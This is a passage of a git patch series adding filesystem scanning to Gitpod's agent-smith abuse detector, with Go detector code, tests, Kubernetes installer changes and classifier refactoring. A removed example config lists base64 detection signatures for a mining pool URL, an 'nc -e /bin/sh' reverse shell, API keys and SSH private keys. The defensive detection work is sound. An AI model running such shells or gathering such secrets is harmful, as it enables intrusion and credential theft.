{ + start := time.Now() + defer func() { + det.scanDurationSeconds.Observe(time.Since(start).Seconds()) + }() + + // Get filesystem signatures to know what files to look for + filesystemSignatures := det.GetFileSignatures() + if len(filesystemSignatures) == 0 { + log.Warn("no filesystem signatures configured, skipping scan") + return + } + + // Scan working area directory for workspace directories + workspaceDirs, err := det.discoverWorkspaceDirectories() + if err != nil { + log.WithError(err).Error("failed to discover workspace directories") + return + } + + log.Infof("found %d workspace directories, scanning for %d filesystem signatures", len(workspaceDirs), len(filesystemSignatures)) + + for _, wsDir := range workspaceDirs { + det.scanWorkspaceDirectory(wsDir, filesystemSignatures, files) + } +} + +// GetFileSignatures returns signatures that should be used for filesystem scanning +// These are extracted from the configured classifier +func (det *fileDetector) GetFileSignatures() []*classifier.Signature { + if det.classifier == nil { + return nil + } + + // Use the FileClassifier interface to get signatures + return det.classifier.GetFileSignatures() +} + +// discoverWorkspaceDirectories scans the working area for workspace directories +func (det *fileDetector) discoverWorkspaceDirectories() ([]WorkspaceDirectory, error) { + entries, err := os.ReadDir(det.config.WorkingArea) + if err != nil { + return nil, fmt.Errorf("cannot read working area %s: %w", det.config.WorkingArea, err) + } + + var workspaceDirs []WorkspaceDirectory + for _, entry := range entries { + if !entry.IsDir() { + continue + } + + // Skip hidden directories and service directories (ending with -daemon) + name := entry.Name() + if strings.HasPrefix(name, ".") || strings.HasSuffix(name, "-daemon") { + continue + } + + workspaceDir := WorkspaceDirectory{ + InstanceID: name, + Path: filepath.Join(det.config.WorkingArea, name), + } + workspaceDirs = append(workspaceDirs, workspaceDir) + } + + return workspaceDirs, nil +} + +// WorkspaceDirectory represents a workspace directory on disk +type WorkspaceDirectory struct { + InstanceID string + Path string +} + +func (det *fileDetector) scanWorkspaceDirectory(wsDir WorkspaceDirectory, signatures []*classifier.Signature, files chan<- File) { + // Create a minimal workspace object for this directory + workspace := &common.Workspace{ + InstanceID: wsDir.InstanceID, + // We don't have other workspace metadata from directory scanning + // These would need to be populated from other sources if needed + } + + // For each signature, check if any of its target files exist + for _, sig := range signatures { + for _, relativeFilePath := range sig.Filename { + matchingFiles := det.findMatchingFiles(wsDir.Path, relativeFilePath) + + for _, filePath := range matchingFiles { + // Check if file exists and get its info + info, err := os.Stat(filePath) + if err != nil { + continue + } + + // Skip directories + if info.IsDir() { + continue + } + + // Size check + size := info.Size() + if size == 0 || size > det.config.MaxFileSize { + log.Warnf("File size is too large, skipping: %s", filePath) + continue + } + + det.filesScannedTotal.Inc() + det.filesFoundTotal.Inc() + + file := File{ + Path: filePath, + Workspace: workspace, + Content: nil, // Content will be read by signature matcher if needed + Size: size, + ModTime: info.ModTime(), + } + + log.Infof("Found matching file: %s (pattern: %s, signature: %s, size: %d bytes)", filePath, relativeFilePath, sig.Name, size) + + select { + case files <- file: + log.Infof("File sent to channel: %s", filePath) + default: + det.droppedFilesTotal.Inc() + log.Warnf("File dropped (channel full): %s", filePath) + } + } + } + } +} + +// findMatchingFiles finds files matching a pattern (supports wildcards and relative paths) +func (det *fileDetector) findMatchingFiles(workspaceRoot, relativeFilePath string) []string { + // For wildcard relativeFilePaths, we need to search within the workspace + // For simplicity, only search in the root directory for now + // TODO: Could be extended to search subdirectories up to WorkspaceDepth + matches, err := filepath.Glob(filepath.Join(workspaceRoot, relativeFilePath)) + if err != nil { + return nil + } + + return matches +} + +// DiscoverFiles starts filesystem discovery. Must not be called more than once. +func (det *fileDetector) DiscoverFiles(ctx context.Context) (<-chan File, error) { + det.mu.Lock() + defer det.mu.Unlock() + + if det.fs != nil { + return nil, fmt.Errorf("already discovering files") + } + + res := make(chan File, 100) + det.fs = res + det.startOnce.Do(func() { det.start(ctx) }) + + return res, nil +} diff --git a/components/ee/agent-smith/pkg/detector/filesystem_test.go b/components/ee/agent-smith/pkg/detector/filesystem_test.go new file mode 100644 index 00000000000000..a274057087402e --- /dev/null +++ b/components/ee/agent-smith/pkg/detector/filesystem_test.go @@ -0,0 +1,362 @@ +// Copyright (c) 2024 Gitpod GmbH. All rights reserved. +// Licensed under the GNU Affero General Public License (AGPL). +// See License.AGPL.txt in the project root for license information. + +package detector + +import ( + "os" + "path/filepath" + "testing" + "time" + + "github.com/gitpod-io/gitpod/agent-smith/pkg/classifier" + "github.com/prometheus/client_golang/prometheus" +) + +// mockFileClassifier is a mock implementation for testing +type mockFileClassifier struct{} + +func (m *mockFileClassifier) MatchesFile(filePath string) (*classifier.Classification, error) { + return &classifier.Classification{Level: classifier.LevelNoMatch}, nil +} + +func (m *mockFileClassifier) GetFileSignatures() []*classifier.Signature { + return nil +} + +func (m *mockFileClassifier) Describe(d chan<- *prometheus.Desc) {} +func (m *mockFileClassifier) Collect(m2 chan<- prometheus.Metric) {} + +func TestFileDetector_Config_Defaults(t *testing.T) { + tests := []struct { + name string + inputConfig FilesystemScanningConfig + expectedConfig FilesystemScanningConfig + }{ + { + name: "all defaults", + inputConfig: FilesystemScanningConfig{ + Enabled: true, + WorkingArea: "/tmp/test-workspaces", + }, + expectedConfig: FilesystemScanningConfig{ + Enabled: true, + ScanInterval: 5 * time.Minute, + MaxFileSize: 1024, + WorkingArea: "/tmp/test-workspaces", + }, + }, + { + name: "partial config", + inputConfig: FilesystemScanningConfig{ + Enabled: true, + ScanInterval: 10 * time.Minute, + MaxFileSize: 2048, + WorkingArea: "/tmp/test-workspaces", + }, + expectedConfig: FilesystemScanningConfig{ + Enabled: true, + ScanInterval: 10 * time.Minute, + MaxFileSize: 2048, + WorkingArea: "/tmp/test-workspaces", + }, + }, + { + name: "all custom values", + inputConfig: FilesystemScanningConfig{ + Enabled: true, + ScanInterval: 2 * time.Minute, + MaxFileSize: 512, + WorkingArea: "/tmp/test-workspaces", + }, + expectedConfig: FilesystemScanningConfig{ + Enabled: true, + ScanInterval: 2 * time.Minute, + MaxFileSize: 512, + WorkingArea: "/tmp/test-workspaces", + }, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + mockClassifier := &mockFileClassifier{} + detector, err := NewfileDetector(tt.inputConfig, mockClassifier) + if err != nil { + t.Fatalf("failed to create detector: %v", err) + } + + if detector.config.ScanInterval != tt.expectedConfig.ScanInterval { + t.Errorf("ScanInterval = %v, expected %v", detector.config.ScanInterval, tt.expectedConfig.ScanInterval) + } + if detector.config.MaxFileSize != tt.expectedConfig.MaxFileSize { + t.Errorf("MaxFileSize = %v, expected %v", detector.config.MaxFileSize, tt.expectedConfig.MaxFileSize) + } + if detector.config.WorkingArea != tt.expectedConfig.WorkingArea { + t.Errorf("WorkingArea = %v, expected %v", detector.config.WorkingArea, tt.expectedConfig.WorkingArea) + } + }) + } +} + +func TestFileDetector_DisabledConfig(t *testing.T) { + config := FilesystemScanningConfig{ + Enabled: false, + } + + mockClassifier := &mockFileClassifier{} + _, err := NewfileDetector(config, mockClassifier) + if err == nil { + t.Error("expected error when filesystem scanning is disabled, got nil") + } + + expectedError := "filesystem scanning is disabled" + if err.Error() != expectedError { + t.Errorf("expected error %q, got %q", expectedError, err.Error()) + } +} + +func TestWorkspaceDirectory_Fields(t *testing.T) { + wsDir := WorkspaceDirectory{ + InstanceID: "inst789", + Path: "/var/gitpod/workspaces/inst789", + } + + if wsDir.InstanceID != "inst789" { + t.Errorf("InstanceID = %q, expected %q", wsDir.InstanceID, "inst789") + } + + expectedPath := "/var/gitpod/workspaces/inst789" + if wsDir.Path != expectedPath { + t.Errorf("Path = %q, expected %q", wsDir.Path, expectedPath) + } +} + +func TestDiscoverWorkspaceDirectories(t *testing.T) { + // Create a temporary working area + tempDir, err := os.MkdirTemp("", "agent-smith-test-*") + if err != nil { + t.Fatalf("failed to create temp dir: %v", err) + } + defer os.RemoveAll(tempDir) + + // Create mock workspace directories + workspaceIDs := []string{"ws-abc123", "ws-def456", "ws-ghi789"} + for _, wsID := range workspaceIDs { + wsDir := filepath.Join(tempDir, wsID) + if err := os.Mkdir(wsDir, 0755); err != nil { + t.Fatalf("failed to create workspace dir %s: %v", wsDir, err) + } + } + + // Create some files that should be ignored + if err := os.Mkdir(filepath.Join(tempDir, ".hidden"), 0755); err != nil { + t.Fatalf("failed to create hidden dir: %v", err) + } + if err := os.Mkdir(filepath.Join(tempDir, "ws-service-daemon"), 0755); err != nil { + t.Fatalf("failed to create daemon dir: %v", err) + } + + // Create detector with temp working area + config := FilesystemScanningConfig{ + Enabled: true, + WorkingArea: tempDir, + } + mockClassifier := &mockFileClassifier{} + detector, err := NewfileDetector(config, mockClassifier) + if err != nil { + t.Fatalf("failed to create detector: %v", err) + } + + // Test workspace directory discovery + workspaceDirs, err := detector.discoverWorkspaceDirectories() + if err != nil { + t.Fatalf("failed to discover workspace directories: %v", err) + } + + // Should find exactly 3 workspace directories (ignoring hidden and daemon dirs) + if len(workspaceDirs) != 3 { + t.Errorf("found %d workspace directories, expected 3", len(workspaceDirs)) + } + + // Verify the discovered directories + foundIDs := make(map[string]bool) + for _, wsDir := range workspaceDirs { + foundIDs[wsDir.InstanceID] = true + + // Verify path is correct + expectedPath := filepath.Join(tempDir, wsDir.InstanceID) + if wsDir.Path != expectedPath { + t.Errorf("workspace %s path = %q, expected %q", wsDir.InstanceID, wsDir.Path, expectedPath) + } + } + + // Verify all expected workspace IDs were found + for _, expectedID := range workspaceIDs { + if !foundIDs[expectedID] { + t.Errorf("workspace ID %q not found in discovered directories", expectedID) + } + } +} + +func TestFindMatchingFiles(t *testing.T) { + // Create a temporary workspace directory + tempDir, err := os.MkdirTemp("", "agent-smith-workspace-*") + if err != nil { + t.Fatalf("failed to create temp dir: %v", err) + } + defer os.RemoveAll(tempDir) + + // Create test files + testFiles := map[string]string{ + "config.json": `{"key": "value"}`, + "settings.conf": `setting=value`, + "script.sh": `#!/bin/bash\necho "hello"`, + "wallet.dat": `wallet data`, + "normal.txt": `just text`, + "subdir/nested.conf": `nested config`, + "dotfiles/data.txt": `some foobar thing`, + } + + for filePath, content := range testFiles { + fullPath := filepath.Join(tempDir, filePath) + + // Create directory if needed + if dir := filepath.Dir(fullPath); dir != tempDir { + if err := os.MkdirAll(dir, 0755); err != nil { + t.Fatalf("failed to create dir %s: %v", dir, err) + } + } + + if err := os.WriteFile(fullPath, []byte(content), 0644); err != nil { + t.Fatalf("failed to create file %s: %v", fullPath, err) + } + } + + // Create detector + config := FilesystemScanningConfig{ + Enabled: true, + WorkingArea: "/tmp", // Not used in this test + } + mockClassifier := &mockFileClassifier{} + detector, err := NewfileDetector(config, mockClassifier) + if err != nil { + t.Fatalf("failed to create detector: %v", err) + } + + tests := []struct { + name string + filename string + expected []string + }{ + { + name: "direct file match", + filename: "config.json", + expected: []string{filepath.Join(tempDir, "config.json")}, + }, + { + name: "wildcard pattern", + filename: "*.conf", + expected: []string{filepath.Join(tempDir, "settings.conf")}, + }, + { + name: "shell script pattern", + filename: "*.sh", + expected: []string{filepath.Join(tempDir, "script.sh")}, + }, + { + name: "no matches", + filename: "*.nonexistent", + expected: []string{}, + }, + { + name: "nonexistent direct file", + filename: "missing.txt", + expected: []string{}, + }, + { + name: "wildcard to dip into a sub-folder", + filename: "*/data.txt", + expected: []string{filepath.Join(tempDir, "dotfiles/data.txt")}, + }, + { + name: "exact match", + filename: "dotfiles/data.txt", + expected: []string{filepath.Join(tempDir, "dotfiles/data.txt")}, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + matches := detector.findMatchingFiles(tempDir, tt.filename) + + if len(matches) != len(tt.expected) { + t.Errorf("found %d matches, expected %d", len(matches), len(tt.expected)) + t.Errorf("matches: %v", matches) + t.Errorf("expected: %v", tt.expected) + return + } + + // Convert to map for easier comparison + matchMap := make(map[string]bool) + for _, match := range matches { + matchMap[match] = true + } + + for _, expected := range tt.expected { + if !matchMap[expected] { + t.Errorf("expected match %q not found", expected) + } + } + }) + } +} + +func TestFileDetector_GetFileSignatures(t *testing.T) { + // Create a mock classifier that returns some signatures + mockClassifier := &mockFileClassifierWithSignatures{ + signatures: []*classifier.Signature{ + { + Name: "test-sig", + Domain: "filesystem", + Filename: []string{"test.txt"}, + }, + }, + } + + config := FilesystemScanningConfig{ + Enabled: true, + WorkingArea: "/tmp", + } + + detector, err := NewfileDetector(config, mockClassifier) + if err != nil { + t.Fatalf("failed to create detector: %v", err) + } + + signatures := detector.GetFileSignatures() + if len(signatures) != 1 { + t.Errorf("expected 1 signature, got %d", len(signatures)) + } + + if signatures[0].Name != "test-sig" { + t.Errorf("expected signature name 'test-sig', got %s", signatures[0].Name) + } +} + +// mockFileClassifierWithSignatures is a mock that returns signatures +type mockFileClassifierWithSignatures struct { + signatures []*classifier.Signature +} + +func (m *mockFileClassifierWithSignatures) MatchesFile(filePath string) (*classifier.Classification, error) { + return &classifier.Classification{Level: classifier.LevelNoMatch}, nil +} + +func (m *mockFileClassifierWithSignatures) GetFileSignatures() []*classifier.Signature { + return m.signatures +} + +func (m *mockFileClassifierWithSignatures) Describe(d chan<- *prometheus.Desc) {} +func (m *mockFileClassifierWithSignatures) Collect(m2 chan<- prometheus.Metric) {} diff --git a/dev/preview/workflow/preview/deploy-gitpod.sh b/dev/preview/workflow/preview/deploy-gitpod.sh index 3c9899a010b40e..bde3193a7ed092 100755 --- a/dev/preview/workflow/preview/deploy-gitpod.sh +++ b/dev/preview/workflow/preview/deploy-gitpod.sh @@ -464,6 +464,14 @@ yq w -i "${INSTALLER_CONFIG_PATH}" experimental.workspace.networkLimits.bucketSi # yq w -i "${INSTALLER_CONFIG_PATH}" experimental.webapp.server.gcpProfilerEnabled "true" +# +# Enable agent-smith filesystem scanning +# (uncomment if needed, we don't use agent-smith by default in previews) +# yq w -i "${INSTALLER_CONFIG_PATH}" experimental.agentsmith.filesystemScanning.enabled "true" +# yq w -i "${INSTALLER_CONFIG_PATH}" experimental.agentsmith.filesystemScanning.scanInterval "5m" +# yq w -i "${INSTALLER_CONFIG_PATH}" experimental.agentsmith.filesystemScanning.maxFileSize "1024" +# yq w -i "${INSTALLER_CONFIG_PATH}" experimental.agentsmith.filesystemScanning.workingArea "/mnt/workingarea-mk2" + log_success "Generated config at $INSTALLER_CONFIG_PATH" # ======== diff --git a/install/installer/pkg/components/agent-smith/configmap.go b/install/installer/pkg/components/agent-smith/configmap.go index feb9aa34b77027..a000acfdc00778 100644 --- a/install/installer/pkg/components/agent-smith/configmap.go +++ b/install/installer/pkg/components/agent-smith/configmap.go @@ -6,6 +6,7 @@ package agentsmith import ( "fmt" + "time" "github.com/gitpod-io/gitpod/agent-smith/pkg/config" "github.com/gitpod-io/gitpod/common-go/baseserver" @@ -42,6 +43,13 @@ func configmap(ctx *common.RenderContext) ([]runtime.Object, error) { if ctx.Config.Components != nil && ctx.Config.Components.AgentSmith != nil { ascfg.Config = *ctx.Config.Components.AgentSmith ascfg.Config.KubernetesNamespace = ctx.Namespace + + // Set working area path if filesystem scanning is enabled + if ascfg.Config.FilesystemScanning != nil && ascfg.Config.FilesystemScanning.Enabled { + ascfg.Config.FilesystemScanning.Enabled = true + ascfg.Config.FilesystemScanning.WorkingArea = ContainerWorkingAreaMk2 + ascfg.Config.FilesystemScanning.ScanInterval = config.Duration{Duration: 5 * time.Minute} + } } fc, err := common.ToJSONString(ascfg) diff --git a/install/installer/pkg/components/agent-smith/constants.go b/install/installer/pkg/components/agent-smith/constants.go index e77dd5e13d1cd0..16d69e8cf441aa 100644 --- a/install/installer/pkg/components/agent-smith/constants.go +++ b/install/installer/pkg/components/agent-smith/constants.go @@ -6,4 +6,8 @@ package agentsmith const ( Component = "agent-smith" + + // Working area paths - must match ws-daemon constants + HostWorkingAreaMk2 = "/var/gitpod/workspaces-mk2" + ContainerWorkingAreaMk2 = "/mnt/workingarea-mk2" ) diff --git a/install/installer/pkg/components/agent-smith/daemonset.go b/install/installer/pkg/components/agent-smith/daemonset.go index aaea6c0b33665d..1b3d126014cd11 100644 --- a/install/installer/pkg/components/agent-smith/daemonset.go +++ b/install/installer/pkg/components/agent-smith/daemonset.go @@ -24,6 +24,61 @@ func daemonset(ctx *common.RenderContext) ([]runtime.Object, error) { if err != nil { return nil, err } + volumeMounts := []corev1.VolumeMount{ + { + Name: "config", + MountPath: "/config", + }, + { + Name: "wsman-tls-certs", + MountPath: "/wsman-certs", + ReadOnly: true, + }, + common.CAVolumeMount(), + } + + filesystemScanningEnabled := ctx.Config.Components != nil && + ctx.Config.Components.AgentSmith != nil && + ctx.Config.Components.AgentSmith.FilesystemScanning != nil && + ctx.Config.Components.AgentSmith.FilesystemScanning.Enabled + + if filesystemScanningEnabled { + volumeMounts = append(volumeMounts, corev1.VolumeMount{ + Name: "working-area", + MountPath: ContainerWorkingAreaMk2, + ReadOnly: true, + }) + } + + volumes := []corev1.Volume{ + { + Name: "config", + VolumeSource: corev1.VolumeSource{ConfigMap: &corev1.ConfigMapVolumeSource{ + LocalObjectReference: corev1.LocalObjectReference{Name: Component}, + }}, + }, + { + Name: "wsman-tls-certs", + VolumeSource: corev1.VolumeSource{ + Secret: &corev1.SecretVolumeSource{ + SecretName: wsmanagermk2.TLSSecretNameClient, + }, + }, + }, + common.CAVolume(), + } + + if filesystemScanningEnabled { + volumes = append(volumes, corev1.Volume{ + Name: "working-area", + VolumeSource: corev1.VolumeSource{ + HostPath: &corev1.HostPathVolumeSource{ + Path: HostWorkingAreaMk2, + Type: func() *corev1.HostPathType { t := corev1.HostPathDirectory; return &t }(), + }, + }, + }) + } return []runtime.Object{&appsv1.DaemonSet{ TypeMeta: common.TypeMetaDaemonset, @@ -64,18 +119,7 @@ func daemonset(ctx *common.RenderContext) ([]runtime.Object, error) { "memory": resource.MustParse("32Mi"), }, }), - VolumeMounts: []corev1.VolumeMount{ - { - Name: "config", - MountPath: "/config", - }, - { - Name: "wsman-tls-certs", - MountPath: "/wsman-certs", - ReadOnly: true, - }, - common.CAVolumeMount(), - }, + VolumeMounts: volumeMounts, Env: common.CustomizeEnvvar(ctx, Component, common.MergeEnv( common.DefaultEnv(&ctx.Config), common.WorkspaceTracingEnv(ctx, Component), @@ -88,23 +132,7 @@ func daemonset(ctx *common.RenderContext) ([]runtime.Object, error) { }, *common.KubeRBACProxyContainer(ctx), }, - Volumes: []corev1.Volume{ - { - Name: "config", - VolumeSource: corev1.VolumeSource{ConfigMap: &corev1.ConfigMapVolumeSource{ - LocalObjectReference: corev1.LocalObjectReference{Name: Component}, - }}, - }, - { - Name: "wsman-tls-certs", - VolumeSource: corev1.VolumeSource{ - Secret: &corev1.SecretVolumeSource{ - SecretName: wsmanagermk2.TLSSecretNameClient, - }, - }, - }, - common.CAVolume(), - }, + Volumes: volumes, Tolerations: []corev1.Toleration{ { Effect: corev1.TaintEffectNoSchedule, From cc71cd2a0baf77816b9ecb6208a79d3a4323cd34 Mon Sep 17 00:00:00 2001 From: Kyle Brennan Date: Fri, 15 Aug 2025 03:33:43 +0000 Subject: [PATCH 02/11] cleanup --- components/ee/agent-smith/example-config.json | 39 ------------------- 1 file changed, 39 deletions(-) diff --git a/components/ee/agent-smith/example-config.json b/components/ee/agent-smith/example-config.json index e428f07bbe26b4..be3d7b4b64519b 100644 --- a/components/ee/agent-smith/example-config.json +++ b/components/ee/agent-smith/example-config.json @@ -10,45 +10,6 @@ "kind": "elf", "pattern": "YWdlbnRTbWl0aFRlc3RUYXJnZXQ=", "regexp": false - }, - { - "name": "mining_pool_config", - "domain": "filesystem", - "pattern": "c3RyYXR1bSt0Y3A6Ly8=", - "regexp": false, - "filenames": ["*.conf", "mining.conf", "config.json"] - }, - { - "name": "crypto_wallet_file", - "domain": "filesystem", - "pattern": "d2FsbGV0", - "regexp": false, - "filenames": ["wallet.dat", "*.wallet"] - }, - { - "name": "reverse_shell_script", - "domain": "filesystem", - "pattern": "bmMgLWUgL2Jpbi9zaA==", - "regexp": false, - "filenames": ["*.sh", "*.py", "shell.*"] - } - ] - }, - "audit": { - "signatures": [ - { - "name": "suspicious_env_file", - "domain": "filesystem", - "pattern": "QVBJX0tFWT0=", - "regexp": false, - "filenames": [".env", "*.env", ".environment"] - }, - { - "name": "ssh_private_key", - "domain": "filesystem", - "pattern": "LS0tLS1CRUdJTiBQUklWQVRFIEtFWS0tLS0t", - "regexp": false, - "filenames": ["id_rsa", "id_dsa", "id_ecdsa", "*.pem"] } ] } From a32db8dbdc9f8bd4ecb7be36cf1358450f235dc2 Mon Sep 17 00:00:00 2001 From: Kyle Brennan Date: Fri, 15 Aug 2025 04:23:19 +0000 Subject: [PATCH 03/11] Use a separate func for matching for filesystem signatures --- .../pkg/classifier/filesystem_test.go | 9 +++-- .../ee/agent-smith/pkg/classifier/sinature.go | 36 ++++++++++++++++++- 2 files changed, 39 insertions(+), 6 deletions(-) diff --git a/components/ee/agent-smith/pkg/classifier/filesystem_test.go b/components/ee/agent-smith/pkg/classifier/filesystem_test.go index e019f1c13c0e1d..6f36e4e3a425d8 100644 --- a/components/ee/agent-smith/pkg/classifier/filesystem_test.go +++ b/components/ee/agent-smith/pkg/classifier/filesystem_test.go @@ -5,7 +5,6 @@ package classifier import ( - "io/ioutil" "os" "path/filepath" "testing" @@ -13,7 +12,7 @@ import ( func TestSignatureMatchClassifier_MatchesFile(t *testing.T) { // Create temporary directory for test files - tempDir, err := ioutil.TempDir("", "agent-smith-test") + tempDir, err := os.MkdirTemp("", "agent-smith-test") if err != nil { t.Fatalf("failed to create temp dir: %v", err) } @@ -30,7 +29,7 @@ func TestSignatureMatchClassifier_MatchesFile(t *testing.T) { for filename, content := range testFiles { filePath := filepath.Join(tempDir, filename) - if err := ioutil.WriteFile(filePath, content, 0644); err != nil { + if err := os.WriteFile(filePath, content, 0644); err != nil { t.Fatalf("failed to create test file %s: %v", filename, err) } } @@ -251,14 +250,14 @@ func TestSignatureMatchClassifier_ContentMatching(t *testing.T) { for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { // Create a temporary file for testing - tempDir, err := ioutil.TempDir("", "agent-smith-content-test") + tempDir, err := os.MkdirTemp("", "agent-smith-content-test") if err != nil { t.Fatalf("failed to create temp dir: %v", err) } defer os.RemoveAll(tempDir) filePath := filepath.Join(tempDir, tt.filename) - if err := ioutil.WriteFile(filePath, []byte(tt.content), 0644); err != nil { + if err := os.WriteFile(filePath, []byte(tt.content), 0644); err != nil { t.Fatalf("failed to create test file: %v", err) } diff --git a/components/ee/agent-smith/pkg/classifier/sinature.go b/components/ee/agent-smith/pkg/classifier/sinature.go index 71adb6b53c7086..9cf0d87a9f3f19 100644 --- a/components/ee/agent-smith/pkg/classifier/sinature.go +++ b/components/ee/agent-smith/pkg/classifier/sinature.go @@ -43,7 +43,9 @@ type Signature struct { // Name is a description of the signature Name string `json:"name,omitempty"` - // Domain describe where to look for the file to search for the signature (default: "filesystem") + // Domain describe where to look for the file to search for the signature + // "process" is dominant + // if domain is empty, we set "filesystem" Domain Domain `json:"domain,omitempty"` // The kind of file this signature can apply to @@ -149,6 +151,11 @@ func (s *Signature) Matches(in *SignatureReadCache) (bool, error) { } } + // necessary to do a string match for text files + if s.Domain == DomainFileSystem { + return s.matchTextFile(in) + } + // match the specific kind switch s.Kind { case ObjectELFSymbols: @@ -282,6 +289,33 @@ func (s *Signature) matchAny(in *SignatureReadCache) (bool, error) { pos += int64(n) // TODO: deal with buffer edges (i.e. pattern wrapping around the buffer edge) + if bytes.Contains(sub, s.Pattern) { + return true, nil + } + + if err == io.EOF { + break + } + if err != nil { + return false, xerrors.Errorf("cannot read stream: %w", err) + } + if s.Slice.End > 0 && pos >= s.Slice.End { + break + } + } + + return false, nil +} + +// matchAny matches a signature against a text file +func (s *Signature) matchTextFile(in *SignatureReadCache) (bool, error) { + buffer := make([]byte, 8096) + pos := s.Slice.Start + for { + n, err := in.Reader.ReadAt(buffer, pos) + sub := buffer[0:n] + pos += int64(n) + match, matchErr := s.matches(sub) if matchErr != nil { return false, matchErr From bcd01d4f5ed4eed7cf6f6b4aa27f75359e6447e4 Mon Sep 17 00:00:00 2001 From: Kyle Brennan Date: Fri, 15 Aug 2025 04:37:38 +0000 Subject: [PATCH 04/11] Fix logging for successful match --- components/ee/agent-smith/pkg/agent/agent.go | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/components/ee/agent-smith/pkg/agent/agent.go b/components/ee/agent-smith/pkg/agent/agent.go index a0ddd7422908e7..6b1499e753794f 100644 --- a/components/ee/agent-smith/pkg/agent/agent.go +++ b/components/ee/agent-smith/pkg/agent/agent.go @@ -401,12 +401,11 @@ func (agent *Smith) Start(ctx context.Context, callback func(InfringingWorkspace log.WithError(err).WithFields(log.OWI(file.Workspace.OwnerID, file.Workspace.WorkspaceID, file.Workspace.InstanceID)).WithField("path", file.Path).Error("cannot classify filesystem file") continue } - if cl == nil || cl.Level == classifier.LevelNoMatch { - log.Warn("filesystem signature not detected", "path", file.Path, "workspace", file.Workspace.WorkspaceID) - continue - } - log.Info("filesystem signature detected", "path", file.Path, "workspace", file.Workspace.WorkspaceID, "severity", cl.Level, "message", cl.Message) + log.WithField("path", file.Path).WithField("severity", cl.Level).WithField("message", cl.Message). + WithFields(log.OWI(file.Workspace.OwnerID, file.Workspace.WorkspaceID, file.Workspace.InstanceID)). + Info("filesystem signature detected") + _, _ = agent.Penalize(InfringingWorkspace{ SupervisorPID: file.Workspace.PID, Owner: file.Workspace.OwnerID, From 8cbb8443abbfd3b4af775a6230bf05a9bb96d43c Mon Sep 17 00:00:00 2001 From: Kyle Brennan Date: Sat, 16 Aug 2025 18:51:51 +0000 Subject: [PATCH 05/11] Simplify & no metrics Co-authored-by: Ona --- components/ee/agent-smith/pkg/agent/agent.go | 14 +- .../agent-smith/pkg/classifier/classifier.go | 111 +------------ .../pkg/classifier/classifier_test.go | 35 ---- .../ee/agent-smith/pkg/config/config.go | 36 +++++ .../ee/agent-smith/pkg/config/config_test.go | 149 ++++++++++++++++++ 5 files changed, 194 insertions(+), 151 deletions(-) create mode 100644 components/ee/agent-smith/pkg/config/config_test.go diff --git a/components/ee/agent-smith/pkg/agent/agent.go b/components/ee/agent-smith/pkg/agent/agent.go index 6b1499e753794f..c1ab22120da96b 100644 --- a/components/ee/agent-smith/pkg/agent/agent.go +++ b/components/ee/agent-smith/pkg/agent/agent.go @@ -149,15 +149,17 @@ func NewAgentSmith(cfg config.Config) (*Smith, error) { WorkingArea: cfg.FilesystemScanning.WorkingArea, } - // Check if the main classifier supports filesystem detection - if fsc, ok := class.(classifier.FileClassifier); ok { - filesystemClass = fsc + // Create independent filesystem classifier (no dependency on process classifier) + filesystemClass, err = cfg.Blocklists.FileClassifier() + if err != nil { + log.WithError(err).Error("failed to create filesystem classifier") + } else { filesystemDetec, err = detector.NewfileDetector(fsConfig, filesystemClass) if err != nil { - log.WithError(err).Warn("failed to create filesystem detector") + log.WithError(err).Error("failed to create filesystem detector") + } else { + log.Info("Filesystem detector created successfully with independent classifier") } - } else { - log.Warn("classifier does not support filesystem detection, filesystem scanning disabled") } } diff --git a/components/ee/agent-smith/pkg/classifier/classifier.go b/components/ee/agent-smith/pkg/classifier/classifier.go index 1bcee1eb4c264c..818896e1e0709b 100644 --- a/components/ee/agent-smith/pkg/classifier/classifier.go +++ b/components/ee/agent-smith/pkg/classifier/classifier.go @@ -254,12 +254,7 @@ func (sigcl *SignatureMatchClassifier) Matches(executable string, cmdline []stri // MatchesFile checks if a filesystem file matches any filesystem signatures func (sigcl *SignatureMatchClassifier) MatchesFile(filePath string) (c *Classification, err error) { - filesystemSignatures := make([]*Signature, 0) - for _, sig := range sigcl.Signatures { - if sig.Domain == DomainFileSystem { - filesystemSignatures = append(filesystemSignatures, sig) - } - } + filesystemSignatures := sigcl.GetFileSignatures() if len(filesystemSignatures) == 0 { return sigNoMatch, nil @@ -506,14 +501,6 @@ func (cl *CountingMetricsClassifier) Matches(executable string, cmdline []string return cl.D.Matches(executable, cmdline) } -func (cl *CountingMetricsClassifier) MatchesFile(filePath string) (*Classification, error) { - cl.callCount.Inc() - if fsc, ok := cl.D.(FileClassifier); ok { - return fsc.MatchesFile(filePath) - } - return sigNoMatch, nil -} - func (cl *CountingMetricsClassifier) Describe(d chan<- *prometheus.Desc) { cl.callCount.Describe(d) cl.D.Describe(d) @@ -523,99 +510,3 @@ func (cl *CountingMetricsClassifier) Collect(m chan<- prometheus.Metric) { cl.callCount.Collect(m) cl.D.Collect(m) } - -func (cl *CountingMetricsClassifier) GetFileSignatures() []*Signature { - if fsc, ok := cl.D.(FileClassifier); ok { - return fsc.GetFileSignatures() - } - return nil -} - -func (cl GradedClassifier) MatchesFile(filePath string) (*Classification, error) { - order := []Level{LevelVery, LevelBarely, LevelAudit} - - var ( - c *Classification - err error - ) - for _, level := range order { - classifier, exists := cl[level] - if !exists { - continue - } - - if fsc, ok := classifier.(FileClassifier); ok { - c, err = fsc.MatchesFile(filePath) - if err != nil { - return nil, err - } - if c.Level != LevelNoMatch { - break - } - } - } - - if c == nil || c.Level == LevelNoMatch { - return sigNoMatch, nil - } - - res := *c - res.Classifier = ClassifierGraded + "." + res.Classifier - return &res, nil -} - -func (cl GradedClassifier) GetFileSignatures() []*Signature { - var allSignatures []*Signature - - for _, classifier := range cl { - if fsc, ok := classifier.(FileClassifier); ok { - signatures := fsc.GetFileSignatures() - allSignatures = append(allSignatures, signatures...) - } - } - - return allSignatures -} - -func (cl CompositeClassifier) MatchesFile(filePath string) (*Classification, error) { - var ( - c *Classification - err error - ) - for _, classifier := range cl { - if fsc, ok := classifier.(FileClassifier); ok { - c, err = fsc.MatchesFile(filePath) - if err != nil { - return nil, err - } - if c.Level != LevelNoMatch { - break - } - } - } - - if c == nil || len(cl) == 0 { - // empty composite classifier - return sigNoMatch, nil - } - if c.Level == LevelNoMatch { - return sigNoMatch, nil - } - - res := *c - res.Classifier = 